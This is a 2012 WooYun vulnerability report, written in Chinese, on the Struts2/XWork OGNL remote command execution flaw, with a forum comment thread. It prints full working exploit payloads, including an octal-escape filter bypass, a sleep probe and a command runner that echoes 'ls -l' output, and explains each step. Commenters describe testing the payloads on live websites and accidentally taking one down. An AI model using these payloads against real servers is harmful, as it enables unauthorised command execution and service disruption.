漏洞概要
关注数(24)
关注此漏洞
漏洞标题:structs2 远程命令执行漏洞分析
提交时间:2012-06-29 13:49
修复时间:2012-06-29 13:49
公开时间:2012-06-29 13:49
漏洞类型:命令执行
危害等级:中
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
Tags标签:
无
漏洞详情
披露状态:
2012-06-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-06-29: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
很惊异 老漏洞一下子爆发了这么多 是工具刷rank ?
能否分析下原理。
详细说明:
大牛们不要见笑。
新的exp 构造的很精巧
以POST的方式提交绕过对输入参数的部分过滤。
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
当前线程sleep 8S
命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。
如@Runtime@getRuntime().exec
@class@method 访问静态方法
xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。
实现交互的shell.
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'ls\40\u002dl\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
\75 (=的8进制)\40(空格的8进制) ongl语句中执行的参数不允许出现空格。当然包括其他
老版本的正则 是^#=:都不允许,通杀的话是用\40来替代。
这样上面就是
1.设置上下文denyMethodExecution=false 运行方法执行
2.excludeProperties=@java.util.Collections@EMPTY_SET (@class@调用静态变量)
设置外部拦截器为空
3.mycmd=“ls -l” 定义我们的执行命令的变量
4.myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流 (post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。
这个和 zone 上 http://zone.wooyun.org/content/200说的一致
GaRY | 2012-05-10 13:36
@livers 其实原理就和我之前用php操作fd复用链接直接生成shell一样。java更直接,因为tomcat等container和webapp几乎没界限,同一层面的东西。所以只要找到这个上下文的writer,往里面读写就ok了。
看了衰仔和 gainover他们的工具是利用方式是一样的,好巧
构造post 和绕过变量还有其他方法进行执行。
PS:其实我不懂java.
漏洞证明:
修复方案:
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:10 (WooYun评价)
漏洞评价:
评论
-
2012-06-29 13:51 |
livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)
@xsser 多谢 其实我也想公开的 你真的懂我。
-
2012-06-29 13:53 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)
@livers 嗯,这种方式不错的哦~ 不过ognl和漏洞利用的原理可以铺开一下就更好了
-
2012-06-29 13:53 |
疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
@livers 这种态度很赞,有自己的分析与想法与大家分享,价值体现!
-
2012-06-29 13:56 |
livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)
@xsser 我struts2 就大学里写过一点,上面是逆向着写出来的,后面腾出时间整理个全的。
-
2012-06-29 13:57 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
说明一下,我不懂java,那工具,我只是在理解的基础上抄了一遍这个帖子里的exp: WooYun: 香港电视台Struts2漏洞 ,另外在测试过程中我发现,这个exp并不是万能的,有些网站会发生无回显的现象,虽然找到不是很好的解决办法,但原因尚不明(非补丁原因)。
-
2012-06-29 13:57 |
livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)
-
2012-06-29 13:59 |
imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )
@gainover 你的工具,WIN主机用默认的命令木回显。。。的确有些不回显。。
-
2012-06-29 14:00 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@imlonghao 不是系统原因。 之前找蟋蟀测试的时候,有些网站,不管是linux还是win的都会无回显。
-
2012-06-29 14:02 |
imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )
@gainover 就是这个,WooYun-2012-08865,我怎么都木回显,后来找错了,找了一段重启的代码,一贴,好吧,拒绝服务了 .. - -||
-
2012-06-29 14:08 |
livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)
@gainover 不好测试啊,主要是jsp的环境搭建太费力气,无法还原现场
-
2012-06-29 14:27 |
possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)
-
2012-06-29 14:28 |
Xhm1n9 ( 实习白帽子 | Rank:57 漏洞数:13 | bug)
-
2012-06-29 14:35 |
koohik ( 普通白帽子 | Rank:542 漏洞数:63 | 没什么介绍的http://www.koohik.com/)
-
2012-06-29 14:39 |
kEvin1986 ( 普通白帽子 | Rank:102 漏洞数:6 | $ ? #)
sleep(8)换成getWrite().print("smkey_word")或者addHeader(k,v)就能直观检测了.输出也不需要new DataInputStream这么麻烦 直接getInputStream().read(byte[])..这样
-
2012-06-29 14:40 |
_Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)
-
2012-06-29 14:44 |
HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)
今天早上刚巧看了空虚浪子心的两篇文章,有助于对此漏洞的理解http://www.inbreak.net/archives/167http://www.inbreak.net/archives/363
-
2012-06-29 15:11 |
鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)
-
2012-06-29 15:24 |
自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量,但我向往自由)
-
2012-06-29 15:32 |
自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量,但我向往自由)
-
2012-06-29 16:11 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
-
2012-06-29 16:11 |
gainover ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)
@自由与精神 POC都在这个帖子里了,还要工具干嘛,工具就只是一个壳子而已。
-
2012-06-29 17:31 |
Mr.杨总 ( 路人 | Rank:14 漏洞数:4 | 绿色 无毒 你懂得。。。。心要宽 。。。)
@Xhm1n9 忽然间struts2漏洞又火了把!
-
2012-06-29 18:01 |
Max ( 实习白帽子 | Rank:45 漏洞数:7 | When you see this sentence, I have been ...)
-
2012-06-29 18:28 |
livers ( 实习白帽子 | Rank:94 漏洞数:6 | mov esp,0jmp espcrash.....)
excludeProperties=@java.util.Collections@EMPTY_SET 是wofeiwo 大牛的原创
-
2012-06-29 22:57 |
自由与精神 ( 路人 | Rank:30 漏洞数:5 | 缺乏精神力量,但我向往自由)
-
2012-06-30 21:53 |
Eric ( 路人 | Rank:1 漏洞数:1 | 网络技术爱好者。)
-
2012-07-02 21:09 |
isno ( 路人 | Rank:20 漏洞数:3 | test)
哪位大神知道,struts 1.2.7是否受这个漏洞的影响?
-
2012-08-27 19:09 |
有礼物送上 ( 普通白帽子 | Rank:187 漏洞数:26 | xxx)
@isno 其实这是xwork核心的功能OGNL出的问题,xwork框架由于写得过于强大,老外在写Struts2框架偷懒了,直接照搬xwork的源代码。 所以,曾经使用过xwork做底层的框架都会有这个问题,例如:webWork框架。(问题并不只是大家都在喊的Struts2的漏洞,应该算是xwork框架的问题。另外,struts1和struts2的框架结构是有很大区别的,可以说两者没有任何关系,struts1没有使用xwork!)。
-
2012-08-27 19:11 |
xsser ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)